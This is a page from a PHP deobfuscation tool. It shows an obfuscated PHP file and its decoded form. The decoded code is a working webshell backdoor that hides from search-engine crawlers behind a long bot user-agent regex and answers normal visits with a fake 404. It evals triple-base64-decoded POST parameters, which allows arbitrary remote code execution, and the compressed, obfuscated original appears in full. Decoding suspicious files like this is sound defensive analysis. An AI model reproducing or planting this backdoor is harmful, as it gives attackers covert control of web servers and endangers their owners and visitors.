Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $s = eval(gzuncompress(base64_decode("eJx9Vm1v2zgS/r5A/4OwLeAEONdtt7gPDfYAx3Yat06ctZ..

Decoded Output download




function isBotDetected() {

    if ( preg_match('/abacho|accona|AddThis|AdsBot|ahoy|AhrefsBot|AISearchBot|alexa|altavista|anthill|appie|applebot|arale|araneo|AraybOt|ariadne|arks|aspseek|ATN_Worldwide|Atomz|baiduspider|baidu|bbot|bingbot|bing|Bjaaland|BlackWidow|BotLink|bot|boxseabot|bspider|calif|CCBot|ChinaClaw|christcrawler|CMC\/0\.01|combine|confuzzledbot|contaxe|CoolBot|cosmos|crawler|crawlpaper|crawl|curl|cusco|cyberspyder|cydralspider|dataprovider|digger|DIIbot|DotBot|downloadexpress|DragonBot|DuckDuckBot|dwcp|EasouSpider|ebiness|ecollector|elfinbot|esculapio|ESI|esther|eStyle|Ezooms|facebookexternalhit|facebook|facebot|fastcrawler|FatBot|FDSE|FELIX IDE|fetch|fido|find|Firefly|fouineur|Freecrawl|froogle|gammaSpider|gazz|gcreep|geona|Getterrobo-Plus|get|girafabot|golem|googlebot|\-google|grabber|GrabNet|griffon|Gromit|gulliver|gulper|hambot|havIndex|hotwired|htdig|HTTrack|ia_archiver|iajabot|IDBot|Informant|InfoSeek|InfoSpiders|INGRID\/0\.1|inktomi|inspectorwww|Internet Cruiser Robot|irobot|Iron33|JBot|jcrawler|Jeeves|jobo|KDD\-Explorer|KIT\-Fireball|ko_yappo_robot|label\-grabber|larbin|legs|libwww-perl|linkedin|Linkidator|linkwalker|Lockon|logo_gif_crawler|Lycos|m2e|majesticsEO|marvin|mattie|mediafox|mediapartners|MerzScope|MindCrawler|MJ12bot|mod_pagespeed|moget|Motor|msnbot|muncher|muninn|MuscatFerret|MwdSearch|NationalDirectory|naverbot|NEC\-MeshExplorer|NetcraftSurveyAgent|NetScoop|NetSeer|newscan\-online|nil|none|Nutch|ObjectsSearch|Occam|openstat.ru\/Bot|packrat|pageboy|ParaSite|patric|pegasus|perlcrawler|phpdig|piltdownman|Pimptrain|pingdom|pinterest|pjspider|PlumtreeWebAccessor|PortalBSpider|psbot|rambler|Raven|RHCS|RixBot|roadrunner|Robbie|robi|RoboCrawl|robofox|Scooter|Scrubby|Search\-AU|searchprocess|search|SemrushBot|Senrigan|seznambot|Shagseeker|sharp\-info\-agent|sift|SimBot|Site Valet|SiteSucker|skymob|SLCrawler\/2\.0|slurp|snooper|solbot|speedy|spider_monkey|SpiderBot\/1\.0|spiderline|spider|suke|tach_bw|TechBOT|TechnoratiSnoop|templeton|teoma|titin|topiclink|twitterbot|twitter|UdmSearch|Ukonline|UnwindFetchor|URL_Spider_SQL|urlck|urlresolver|Valkyrie libwww\-perl|verticrawl|Victoria|void\-bot|Voyager|VWbot_K|wapspider|WebBandit\/1\.0|webcatcher|WebCopier|WebFindBot|WebLeacher|WebMechanic|WebMoose|webquest|webreaper|webspider|webs|WebWalker|WebZip|wget|whowhere|winona|wlm|WOLP|woriobot|WWWC|XGET|xing|yahoo|YandexBot|YandexMobileBot|yandex|yeti|Zeus/i', $_SERVER['HTTP_USER_AGENT'])
    ) {
        return true; // 'Above given bots detected'
    }

    return false;

} // End :: isBotDetected()

if(isBotDetected()){
header($_SERVER['SERVER_PROTOCOL']." 404 Not Found");
}
else
{
$method = $_SERVER['REQUEST_METHOD'];

switch ($method) {
  case 'GET':
    //Here Handle GET Request
    echo '###ERROR 404';
exit;
    break;
  case 'POST':
    //Here Handle POST Request


foreach($_POST as $key => $value) {
$data = base64_decode(base64_decode(base64_decode($value))); 

//echo $data;
eval($data);

}



    break;
 
}




}




echo PHP_EOL . 'end of script';

Did this file decode correctly?

Original Code

<?php $s = eval(gzuncompress(base64_decode("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"))); ?>

Function Calls

gzuncompress 1
base64_decode 1

Variables

$s None

Stats

MD5 04b8669921af574ff5a4198c2c6a9e75
Eval Count 1
Decode Time 60 ms